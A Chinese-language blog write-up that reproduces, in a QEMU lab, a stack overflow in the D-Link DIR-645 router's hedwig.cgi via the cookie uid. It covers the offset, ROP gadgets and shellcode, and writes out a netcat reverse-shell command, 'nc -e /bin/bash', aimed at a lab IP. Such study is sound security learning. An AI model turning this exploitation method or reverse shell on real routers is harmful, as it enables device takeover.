type
status
date
slug
summary
tags
category
icon
password
根据漏洞描述
D-Link DIR-645是一款无线路由器设备。
D-Link DIR-645 "post_login.xml","hedwig.cgi","authentication.cgi"不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。
程序分析
找到
hedwig.cgi 文件所在位置
发现
hedwig.cgi 是一个软链接,指向 cgibin 文件这里不知道为什么我的这个不显示,我之后研究一下
正常应该是这样的

直接
cgibin 文件是个二进制程序,ida看一下
这里大概就是根据
/ 符号最后的参数,来判断要执行的函数,根据之前提到的hedwig.cgi 在这里也可以找到,
进入
hedwigcgi_main 函数中看看
这里程序一开始通过
来判断http的请求方式,
REQUEST_METHOD 环境变量,存放这请求方式。
从环境变量里取 CGI 的 REQUEST_METHOD(如 "GET", "POST")。Web 服务器在执行 CGI 程序前会设置这些环境变量。
之后
这里用来判断是否为
POST 请求,如果不是就会给v1赋值,并打印再屏幕上,如果是这可以往下执行,可以看到我们刚刚访问
http://192.168.2.2:4321/hedwig.cgi 时的报错内容:"unsupported HTTP request"分析可知,其会读取并判断环境变量
REQUEST_METHOD 是否为 POST,因此只支持 POST 请求方式,刚刚通过浏览器访问是 GET 方式,所以报错
接下来会执行

这里要在
CONTENT_TYPE,CONTENT_LENGTH ,REQUEST_URI都放入一定的数据用于满足程序的绕过,
application/x-www-form-urlencoded1. 为什么是这个值
- 浏览器在提交表单时,默认的
enctype就是application/x-www-form-urlencoded。
- 这意味着:表单里的
key=value数据会被 URL 编码(比如空格 →+,中文 →%E4%B8%AD),然后放在 HTTP 请求体里传过去。
- Web 服务器(例如 Apache、Nginx + CGI/FastCGI)会根据请求头自动设置环境变量
CONTENT_TYPE,告诉后端程序请求体是什么格式。
所以你在 CGI 程序里看到:
就是因为浏览器用的默认表单编码。
2. 什么时候不是这个值
- 如果表单设置了
enctype="multipart/form-data"(常见于文件上传),那么CONTENT_TYPE就会变成:
- 如果你用 AJAX/Fetch 手动发 JSON 数据:
那么 CGI 环境变量
CONTENT_TYPE 就会变成 application/json。3. 总结
application/x-www-form-urlencoded是 HTML 表单的默认编码方式。
- 所以你用普通表单 POST,服务器端
CONTENT_TYPE一直都是这个值。
- 想改它,就要在 请求头里明确指定 Content-Type,或者在
<form>里修改enctype。
之后重点来看
sess_get_uid(v4); 函数
获取环境变量
HTTP_COOKIE 里的值其判断
uid 的逻辑为:以 '=' 作为分隔,'=' 前面的内容存入 v2,'=' 后面的内容存入 v4,假设原字符串为 uid=xxx,如果 v2 == 'uid',则 v4 == 'xxx' 就是 uid 数据最后将
v4 中的 uid 数据赋值给变量 string,最后将其写入 a1,也就是该函数的形参之后回到
hedwigcgi_main 函数,就会来到程序的第一个溢出点
这里程序把我们输入的数据解析之后
前面
sess_get_uid() 函数会将 uid 写入形参,因此 v4 的值就是 uid也就是说,
sprintf(v27, "%s/%s/postxml", "/runtime/session", string) 中的 string 就是 uid,而这个 uid 是用户可以控制的v27 是一个长度为 1024 的字符数组,明显是可以被人为输入的 uid 溢出的:后面还有一个,相同的指令,

由于
v4 没有被修改过,因此这里的 v20 同样是 uid,v27 同样可以被溢出因此我们可以利用这里覆盖上一次
sprintf() 的内容但是要想执行两次
sprintf() 需要满足两个条件判断:- 第一个是需要存在
/var/tmp/路径,其会创建一个temp.xml文件并写入数据
- 另一个是要求
haystack非空

这个第一个条件比较好满足,这里我要自己创建一个
/var/tmp文件就行,这个在真实的路由上传中,我们这里没有然后是有关
haystack 不能为0,这里我没搞懂,可以看看其他师傅的解释,
关于
haystack,通过交叉引用(IDA 快捷键为 X),发现 haystack 在此之前只有 sub_409A6C() 函数进行过修改,也就是 cgibin_parse_request((int)sub_409A6C, 0, 0x20000u) 的第一个参数:

cgibin_parse_request() 函数在这里才调用了 sub_409A6C() 函数(作为形参 a1):
off_42C014 处存放的是 "application/" 数据,这是在处理 HTTP 请求时用到的 MIME 类型字符串的一部分:
因此这里是对
POST 内容的读入要想读入
POST,就必须先满足 v9 != -1 的 if 判断,而 v9 初值就是 -1,因此需要走中间的 if 分支使 v9 = 0,同时也必须保证环境变量 REQUEST_URI 不为空:
反正最后就是要让
REQUEST_URI 不为空。
mips基础知识
加法:add $1,$2,$3 ⇒ $2+$3=$1
减法:sub $1,$2,$3 ⇒ $2-$3=$1
取数:lw $1,20($2) ⇒ 2号寄存器中的值为基值,偏移20字节,取出数据写入1号寄存器中
存数:sw $1,20($2) ⇒ 2号寄存器中的值为基值,偏移20字节,将1号寄存器中的值写入其中
加立即数 addi $1,$1,1 ⇒ $1=$1+1(这里1可以为负数,所以没有减立即数指令)
addu 指令用于计算无符号数之间进行的加法操作,addu $t0,$t1,$t2 将 $t1 和 $t2 进行无符号相加,结果存储在 $t0add 指令和 addu 一样,只不过进行的是有符号数之间的加法。addiu 指令将上面的 addi 和 addu 结合了一下, addiu $a1, $zero, 2 进行的是将寄存器$zero 加上一个立即无符号数 2 ,并将结果存回寄存器 $a1 中与·或·或非,同1则1,有1为1,同0则1 and,or,nor
左移:sll $1,$2,4 将$2中的数据左移4位放入$1中
右移:srl $1,$2,4 将$2中的数据右移4位放入$1中
相等跳转:beq $1,$2,label 如果1,2号寄存器中的值相等则跳转执行label
不相等跳转:bne $1,$2,label 如果1,2号寄存器中的值不相等则跳转执行label
(这两个指令的原理都是相减,判断结果是否为0)
跳转:j label 直接跳转执行label jr $1 直接跳转执行1号寄存器里的地址
li (Load Immediate)指令用于将一个立即数存入一个通用寄存器, li $gp, 0x498300 将 $gp 寄存器的值赋值为 0x498300lui 指令将一个 16 位的立即数左移 16 位后存入目标寄存器中, lui $v0, 0x46 是将 0x46 立即数左移 16 位后存入 $v0 寄存器,即 $v0 寄存器的值为 0x460000ori 指令是 MIPS 汇编中的一种逻辑运算指令,它可以将一个寄存器的低 16 位与一个 16 位的立即数按位或运算,并将结果存入另一个寄存器中。ori $t6,$t6,0x430a 指令将 t6 寄存器与 0x430a 立即数进行或运算,将结果放回 $t6la (Load Address) 指令用于将一个地址或标签存入一个寄存器,la $v0, puts 指令将 puts 函数地址存入 $v0 寄存器中
lw (Load Word) 指令用于从一个指定的地址加载一个 word 类型的值到一个寄存器 lw $v0, 0x14($fp) 将 $fp+0x14 的位置中的数据存入到 v0 中sw (Store Word) 将源寄存器中的值存入指定地址,sw $ra, 0x24($sp) 将 $ra 的值写入距离栈顶($sp)偏移 0x24 的内存单元中jr 是跳转指令,jr $ra 跳转到 $ra 寄存器指向的地址处jal 指令是跳转指令,jal target 复制当前的 PC 值到 $ra 寄存器,然后跳转到 target 处bnez 指令用于在寄存器的值不为零时进行分支跳转,bnez $v0, loc_4005E8 表示当 $v0 不为零时跳转到 0x4005E8b 是无条件跳转指令,b loc_400604 直接跳转到 0x400604 地址处
以上是有关mips汇编的代码解释,下面讲一下mips的一些函数特点
函数特性
叶子函数
- 当一个函数内部,没有调用其他函数时,这个函数称为叶子函数
- 叶子函数的返回地址在被调用时便存储在
$ra中,函数返回时 直接通过jr $ra跳回
非叶子函数
- 当一个函数调用了其他函数时,这个函数称为非叶子函数
- 非叶子函数的返回地址通过
sw被存贮在栈上,在函数返回时会通过lw操作将返回地址弹回$ra,再jr $ra返回
- 只有非叶子函数可以通过栈溢出覆盖返回地址
相似的,如果某些函数在调用过程中使用了
$ *寄存器,它也会先通过sw操作将这些寄存器原本的值存在栈上,在返回时lw恢复寄存器的值所以通过栈溢出我们不仅可以控制返回地址,还可以控制大量的寄存器


这里是一个函数的最开始和最后面的汇编代码,可以到这里在开始的时候程序会把
ra,fp(这里不知道为什么在ida里显示为fp,但在gdb调试的时候显示为s8,并且最后结果也是s8,下面用s8表示),s7~s0 这9个寄存器中的值都放入栈中(这里其实就是栈的最下面)大致的位置顺序为
s0~s8,ra 其中ra就是我们的返回地址然后在这个函数结束的时候程序会有把之前放入的
ra,s8~s0 位置的数依次取出来给到寄存器中,这里我们控制的返回值其实就是这个ra寄存器,于此同时我们还可以一起控制这另外的9个寄存器的值
这9个寄存器在栈上的摆列如上,我们之前测出来的那个1009,就是
ra的位置,然后这里因为程序会在最后把这些数据取出来,所以我们在控制返回地址的同时还可以控制这个9个寄存器的值。流水线指令集特性
- 在 MIPS 架构中,当你执行一条 跳转(如
j/jalr)或条件分支(如beq/bne)指令时,**跳转/分支发生后,**仍然会执行紧接着的下一条指令(也就是那一行代码!),无论是否跳转成功!
- 在 MIPS 架构中,由于其支持
数据缓存(D-Cache)和指令缓存(I-Cache),这两个缓存是连个独立的,对内存的映射,当我们将shellcode写入栈中,数据缓存中的内容已经被更新成了我们写入的shellcode,但是指令缓存中的内容仍然是栈中原本的数据,如果此时就跳转会导致shellcode未被执行.保险起见,我们可以调用sleep函数给予这两个缓存足够的时间同步

函数传参

在mips架构的程序中,函数的参数的传递前4个通过
A0,A1,A2,A3 这四个寄存器传递,之后的更多的参数就在栈上。mips ROP gadgets寻找
寻找
IDA的gadget最好还是用IDA的插件mipsrop,里面的stackfinder()/tail()/system()等选项很便于寻找一些gadget,也可以使用如mipsrop.find("li .*, 1")的形式,通过.*进行模糊匹配: 
使用教程:


跳转到shellcode的ROP链构造技巧
在
MIPS架构中,我们通常都是在栈溢出的同时将shellcode读到栈上,然后再跳转过去执行,但是我们得知道shellcode在栈上的地址才行,这里可以用如addiu $s0, $sp, ...的gadget来得到栈上shellcode的地址,然后再找到一个move $t9, $s0 ; jalr $t9的gadget跳转过去。可以用
mipsrop.stackfinder()找到类似于addiu $..., $sp, ...的gadget:
构造system(cmd)的常用gadget
如果这里我们想注入任意的
cmd命令(比如反弹shell的命令),最简单的就是在栈溢出的同时将其写入栈上,那在我们调用system命令的时候,其第一个参数$a0就要是我们cmd命令的地址。我们想要一个
addiu $a0, $sp, ...的gadget,但是这样的gadget一般来说没有能满足我们要求的,之后的跳转大多都不太方便。于是,我们想到可以通过如
addiu $s0, $sp, ...和move $a0, $s0的组合命令实现,而一些原本要跳到mempcpy函数的地方,由于mempcpy函数的特性,恰好会同时包含上面两个gadget,也就不需要分两次跳转了,一段gadget就能搞定,例如:
这里由于上面所说的流水线指令集的特性,在跳转到
t9之前,其第一个参数$a0就已经被赋为$s2了。QEMU 用户级复现
QEMU 用户级层面的漏洞复现不需要进行仿真,但相比之下,需要进行仿真的系统级复现更加直观、更符合现实场景,这里主要是介绍 QEMU 用户级层面的漏洞复现方式
这里我们先进行这种类似于本地测试的,之后在进行系统级远程测试,
我们在宿主机的路由器文件系统根目录
生成 2000 个字符的 payload 文件,用来测试
uid 溢出到栈上返回地址所需的字节数:创建以下
run.sh 脚本,通过 QEMU 用户模式启动 /htdocs/cgibin 程序:这里通过
-g 1234 在 1234 端口开启了 gdbserver 监听,cat payload 可以将 payload 文件中的内容读到 uid= 之后,echo $INPUT | 可以做到 POST 的效果,-0 就是 argv[0],-E 是设置环境变量然后执行
run.sh:
可以看到本机开启了 1234 端口
然后使用本机的
gdb-multiarch 连接 gdbserver:

这里有个问题就是
vmmap 这个不能是用,我们不能直接看到libc地址,我们要在调试的过程中寻找,这个比较简单,我们可以直接利用程序的延迟绑定机制找到
通过两次t9寄存器跳转
memset函数拿到libc地址
此时的
t9为第一次调用是用plt表里的内容,
第二次就是libc中的真实地址。
在路由器文件系统的
/lib 文件夹内,找到其所使用的 libc 文件:libc.so.0利用
objdump 查找 memset() 函数的偏移地址:
可以知道libc的基地址为
0x3ff6ca20-00034a20=0x3FF38000 ,接下来就是 GDB 执行到
hedwigcgi_main() 函数结束将要返回的地方,观察返回地址来确定溢出的长度:
说明程序最后在溢出之后马上要执行的是
0x646b6161 这里,这个数据在
payload中为1009位置,说明我们要填充的数据长度为这个之后就是函数结束会执行的地址。ret2ROP
向用户态 QEMU 传递 payload 参数
由于 QEMU 用户级复现不需要仿真,我们只需要用 qemu-mipsel-static 运行 /htdocs/cgibin 程序,然后将 payload 作为参数传递
poc 如下:
简单解释一下这里
这行是用本地 shell 启动一个命令(所以
shell=True)。命令的作用是:用 QEMU 的 user-mode 模拟(qemu-mipsel-static)运行目标的 CGI 可执行文件,并把 CGI 环境变量(像真实 web 服务器那样)传给它。逐项解释:qemu-mipsel-static
QEMU 的 user-mode 模拟器,用来在 x86 主机上直接运行 MIPS ELF 可执行文件(不需要完整的虚拟机)。这允许你在本地调试 MIPS ELF 程序。
L ./
指定 QEMU 使用的“根”库目录(sysroot),即把当前目录
./ 作为被模拟程序查找共享库和动态链接器的位置。通常你会把 MIPS 的 libc 等放在此目录,确保动态链接器能找到库。0 "hedwig.cgi"0(数字零)是 qemu-user 的一个选项,用来 设置被模拟进程的 argv0(即程序名)。这里把 argv0 设置为"hedwig.cgi",让程序认为自己是hedwig.cgi(有些 CGI 程序会根据 argv0 不同行为不同,或者日志/解析时依赖程序名)。
E NAME="value"E选项用来在 qemu 模拟的进程环境中设置环境变量。这里设置了一系列 CGI 常见的环境变量:REQUEST_METHOD="POST":告诉 CGI 这是一个 POST 请求。CONTENT_LENGTH=11:正文长度是 11(正好等于b"winmt=pwner"的长度)。CONTENT_TYPE="application/x-www-form-urlencoded":POST 的内容类型。HTTP_COOKIE="...":把我们构造的payload放进HTTP_COOKIE环境变量(CGI 程序通常通过环境变量HTTP_COOKIE得到客户端 Cookie)。REQUEST_URI="2333":请求 URI(有时 CGI 逻辑会用到)。
注意:脚本里对
HTTP_COOKIE 做了转义 \",是为了把包含二进制 / 空字节的 payload 能正确传给 shell 命令行(否则会被分割/解释)。(实际使用中要小心 shell 转义)g 1234
让 qemu 启动一个 gdbstub(gdbserver-like),监听 1234 端口,便于连接 gdb 做动态调试。很常见在 exploit 调试时使用。
./htdocs/cgibin
这是要被 qemu 执行的目标二进制(通常是一个 CGI 运行时启动脚本或可执行 CGI 程序)。在 qemu-user 模式下,这个文件必须是 MIPS 架构的 ELF,可用
-L 找到相应的 libc 等。整体效果:在本机(x86)上用 QEMU 加载并运行 MIPS ELF(
./htdocs/cgibin),并把一系列 CGI 环境变量注入到程序里;pwntools 的 process(...) 会把该命令作为子进程运行,返回一个 tube(io),用于后续交互(读/写/attach gdb 等)。简单解释一下,这个手法用的就是简单的
ret2ROP 这里我们在控制程序流程之后执行一个system(/bin/sh) 就可以了,但这里由于这个程序的栈溢出使用的sprintf 函数,这个函数的特点就是会在/x00 就会截断,所以这个system函数的地址要-1,然后执行一个加1的操作,在执行。来简单描述一下这里的操作,在马上程序结束之后

这里可以看出来,已经从
s0到s8已经被修改我们上面的构造的内容了,
s3里为/bin/sh的位置,将其传入a0中,然后跳转s6的内容
先把
s0的内容加1,使其正好变成system函数的地址,然后跳转s1的地址
s1里的内容就是直接跳转s0的位置执行
可以看到,此时
t9的内容是system函数的地址,a0的是/bin/sh的地址。就完美达成条件,拿到shell
ret2shellcode
在
mips架构的程序中,我们用的更多的是shellcode的办法,因为之前在mips架构中很多保护并没有开启,所以我们可以直接向栈上传入shellcode,在跳转执行拿到shell。
poc:
这里,不知道为什么运行的时候报了这个错误

先不写具体流程,大致讲一下
再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。
因为在mips中的这个特性,我们的流程就是先执行
sleep(1),然后跳转执行shellcode一开始执行这里,把
a0寄存器数据改为1,然后执行s1
这里我们直接找一个能控制多个寄存器和
ra寄存器的gadget,这里控制ra寄存器是其实就是在于控制sleep函数的返回值为我们要执行的。这里我们看到有个0x18+,因此这里我们在上一个
ra寄存器的后面要加0x18的垃圾数据,之后构造s0,s1,s2,s3,s4,ra寄存器的值,这里读入各个寄存器的值之后跳转执行sleep函数,此时a0寄存器中的值为1,就可以执行sleep(1)。
在执行完
sleep(1)之后,执行ra,我们这里直接把sp寄存器的值(栈地址)加上一个数据传入a1中,然后执行s4的值,
这里其实就是跳转执行
a1的地址,所以这里我们要根据这个a1的值,在shellcode之前加入垃圾数据,从而满足跳转要求。
之后就是用
shellcode执行system(/bin/sh),拿到shell,要注意的就是不能有/x00会被截断qemu系统模式下复现
这个环境的搭建太多了,这里就不多论述,直接看这位师傅的文章吧,写的很好,我在复现的时候很多地方就是参考这位师傅的文章,
这里再qemu系统模式就是用qemu启动一个mips架构的虚拟机,把固件传入其中,就可以直接再其中进行模拟
这里也分两种,
法一:向 QEMU 虚拟机上传 payload,法二:向 httpd 服务发送 HTTP 报文
这两种法2更接近真实情况,但法一可以让我们进行远程调试,更好判断脚本的问题。
法一:向 QEMU 虚拟机上传 payload
这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为
uid,从而触发漏洞反弹 shellret2ROP
poc:
这里和上面那个其实差别不打,不过这里,需要注意,我们提过QEMU虚拟机运行固件,所以我们这里不能直接用
system(/bin/sh),这里我们要使用反弹shell,让我们再宿主机里也能拿到shell要用这个
system(nc -e /bin/bash 192.168.2.1 8888)nc -e /bin/bash 192.168.2.1 8888 的意思是:用 netcat(nc)向远端主机 192.168.2.1 的 8888 端口发起连接,并把本地的 /bin/bash 进程的输入/输出重定向到该网络连接上——也就是建立一个反向 shell,让远端在那个端口上获得一个交互式 shell。
nc:netcat(网络工具)用来做 TCP/UDP 连接、端口监听、转发等。
e /bin/bash:把指定程序(这里是/bin/bash)的 stdin/stdout/stderr 连接到网络 socket 上。换言之,远端通过 socket 发送的输入会成为 bash 的输入,bash 的输出会发回远端。
192.168.2.1:目标主机 IP(要连接到的远程机器,宿主机与qume通信的ip)。
8888:目标端口号。(这个可以随便设置,后期再宿主机上监听)
所以这里和之前不一样,我们要再栈上写入
nc -e /bin/bash 192.168.2.1 8888 这个数据,如何把这个数据在的地址放入a0寄存器中,在执行system函数。我们先运行这个脚本,使其生成ROP这个文件,再吧这个文件传入到qume虚拟机里

再qume虚拟机里创建这个文件run.sh,
运行这个文件,再宿主机中开始gdb远程调试

这里我们要先找到之前我们编译好的mips的gdb文件,运行它,然后执行我们再上面的脚本中的设置的端口(6666)
直接来到最后的地方,
还是和之前一样,我们可以控制
ra和s0~s8的寄存器,我们再s0寄存器里放入system-1的地址,然后跳转执行s1中的地址。
s1中的内容其实就是把栈的地址写入s2中,然后跳转执行system函数,之前我们提到再mips架构中存在流水线指令集特性,
这里就是用了这个现象,这里我们把s2的值移到a0,这个操作原本是在跳转之后才进行,但这里程序会同时进行,于是我们再直接向system函数的时候,a0就会被修改为s2就是参数的地址。


这样就说明这里没有问题。注意一下这里,因为我们有个sp+0x18的指令,所以我们要放入0x18个垃圾数据。
这里调试看起来没问题,我们取消调试试一试。
这里我们要再宿主机开启一个监听的端口,用来接受shell,才能执行那个脚本

最后的结果如图,
ret2shellocde
poc
这里和之前那个没什么区别,就是由于参数不一样,shellcode改变了,不过其他都一样,就不加论述
法二:向 httpd 服务发送 HTTP 报文
这个情况更符合实际的情况,不过这里就要我们再启动http服务,这个启动过程看之前那个文章,
这里我们的两个poc分别为
ret2ROP
ret2shellcode
这里需要注意的就是这个可以直接再宿主机里执行,但也是需要重新打开一个监听端口,反弹shell的。
最后
这是第一次复现栈溢出的iot漏洞,花的时间远远超出预期,并且总感觉有的地方可能也没有学的很好,不过先这样吧,怎么说呢,感觉整个的复现过程都是在大牛的肩膀上看世界来的,(什么时候我也能成为这样的大牛)学习到的东西还是比较多的。后面的cve复现必须加快速度了。
放几篇大佬的文章膜拜一下。
- 作者:wgiegie
- 链接:https://tangly1024.com/article/25e3ecc9-5160-80de-90aa-d879e6ab9a20
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

